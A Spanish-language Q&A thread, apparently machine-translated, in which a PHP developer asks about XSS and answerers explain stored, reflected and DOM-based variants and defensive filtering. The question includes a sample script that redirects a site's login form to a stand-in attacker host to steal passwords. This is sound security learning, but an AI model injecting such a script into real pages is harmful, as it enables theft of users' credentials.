2012-01-22 8 views
12

Soy un desarrollador de PHP y estoy buscando mejorar la seguridad de mis sitios.Es la entrada de HTML por parte del usuario con Javascript que se muestra a otros pero no se escapó de HTML un ejemplo de un XSS

Por lo que entiendo los siguientes son dos de los principales tipos de vulnerabilidades que afectan a las aplicaciones web:

  • SQL Injection
  • XSS

inyección SQL se puede fijar con declaraciones preparadas - fácil.

Pero todavía no entiendo realmente XSS -? Es el siguiente un ejemplo de XSS ...

  • página llena de contenidos creados por el usuario dispone de un formulario de acceso en la parte superior (en todo el sitio) .
  • La entrada del usuario a la página no está escapada en HTML.
  • mensajes a un usuario el siguiente contenido (por ejemplo) un comentario a la página ...
A really nice comment 

<!-- now an evil script (example here with jquery, but easily done without) ---> 
<script type="text/javascript"> 
$(document).ready(function() { 
    $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php'); 
}); 
</script> 
  • Un usuario inocente trata de la página, el script se ejecuta.
  • El usuario inocente se da cuenta de que no ha iniciado sesión e ingresa sus detalles en el formulario.
  • Los detalles del usuario se envían al http://somehackysite.com/givemyourpw.php y luego se roban los datos de la cuenta del usuario.

Así que realmente tienen tres preguntas aquí:

  1. Que este trabajo?
  2. ¿Este es XSS?
  3. ¿Hay alguna precaución que los desarrolladores deban tomar contra XSS que no sea escaparse de HTML?
+4

1) Sí. 2) Sí. 3) Sí. ['strip_tags()'] (http://php.net/manual/en/function.strip-tags.php) es un buen comienzo. – DaveRandom

+3

@DaveRandom 3) No, strip_tags es malo, nunca lo uses. ¡NUNCA! – NikiC

+0

@NikiC ¿por qué es malo? –

Respuesta

5

Hay dos tipos de ataques XSS: XSS reflejado y ataques persistentes XSS. Lo que describió, donde un usuario del sitio ingresa datos que se guardan en el lado del servidor y se representa para cualquiera que vea una página, se considera XSS persistente. Ataques similares serían si tiene un cuadro de comentario en una publicación que no escapa de Javascript, o una página de perfil en la que puedo poner cualquier cosa.

La otra clase de ataques XSS es Reflected XSS. Estos son un poco más complicados, pero equivalen a uno de los argumentos en la URL para una página que no se ha escapado. Con frecuencia aparecen en páginas de búsqueda en sitios web grandes. Obtendrás una URL que incluye algo de javascript (lo siento, mi ejemplo quedó destrozado por el renderizador aquí, así que no puedo mostrarte un ejemplo), y la página mostrará el javascript que permitiría a alguien crear un archivo malicioso URL. Estos son especialmente peligrosos en los sitios que proporcionan cualquier tipo de datos financieros; Imagine un usuario concienzudo que siempre verifica para asegurarse de que va al enlace de escritura de su banco, pero debido a un ataque XSS reflejado, un atacante puede enviarlos a una página legítima en el sitio web de su banco, pero eso tiene un efecto malicioso. código en él.

En cualquier caso, su ejemplo es Persistent XSS.Puedes hacer cosas aún más nefastas con ataques como ese que simplemente cambiar donde un formulario de inicio de sesión envía a los usuarios. Han sido populares durante años para hacer cosas como robar información de áreas personales de los sitios, o junto con CSRF para hacer que un usuario autenticado haga algo simplemente mirando una página. Hubo algunos virus de MySpace hace un tiempo que hicieron eso, y se extendieron de un perfil a otro.

0

es XSS y creo que es demasiado javascript inyección
así que creo que le ayudará this link

5

¿Es esta XSS?

Sí, esto es un injection flaw en general y se denominaría como XSS explotar en este caso particular, ya que es de JavaScript que se inyecta.

Pero este error de inyección, donde la entrada de un usuario se refleja a otros usuarios sin ningún cambio, también puede ceder a otros ataques como defacement.

¿Funcionaría?

Sí, es muy probable que esto funcione, ya que es el servidor de origen que sirve este código cortado como cualquier otro código en la página web. Entonces, es como si el autor del sitio web fuera el creador de este código y se lo tratara de la misma manera.

¿Hay alguna precaución que los desarrolladores deban tomar contra XSS que no sea escaparse de HTML?

realidad, hay tres tipos diferentes de XSS: DOM based XSS, Reflected XSS, y Stored/persistent XSS). Su ejemplo es un exploit XSS almacenado/persistente mientras el servidor implementa el exploit con cada solicitud.

La regla general es no confiar en ninguna entrada del usuario. Dicho esto, o bien solo se debe permitir la entrada del usuario válida o la entrada del usuario se filtra (elimina valores no válidos) o se codifica correctamente (convertir valores no válidos) antes de enviarla. Ver OWASP’s XSS Cheat Sheet para más información.

Cuestiones relacionadas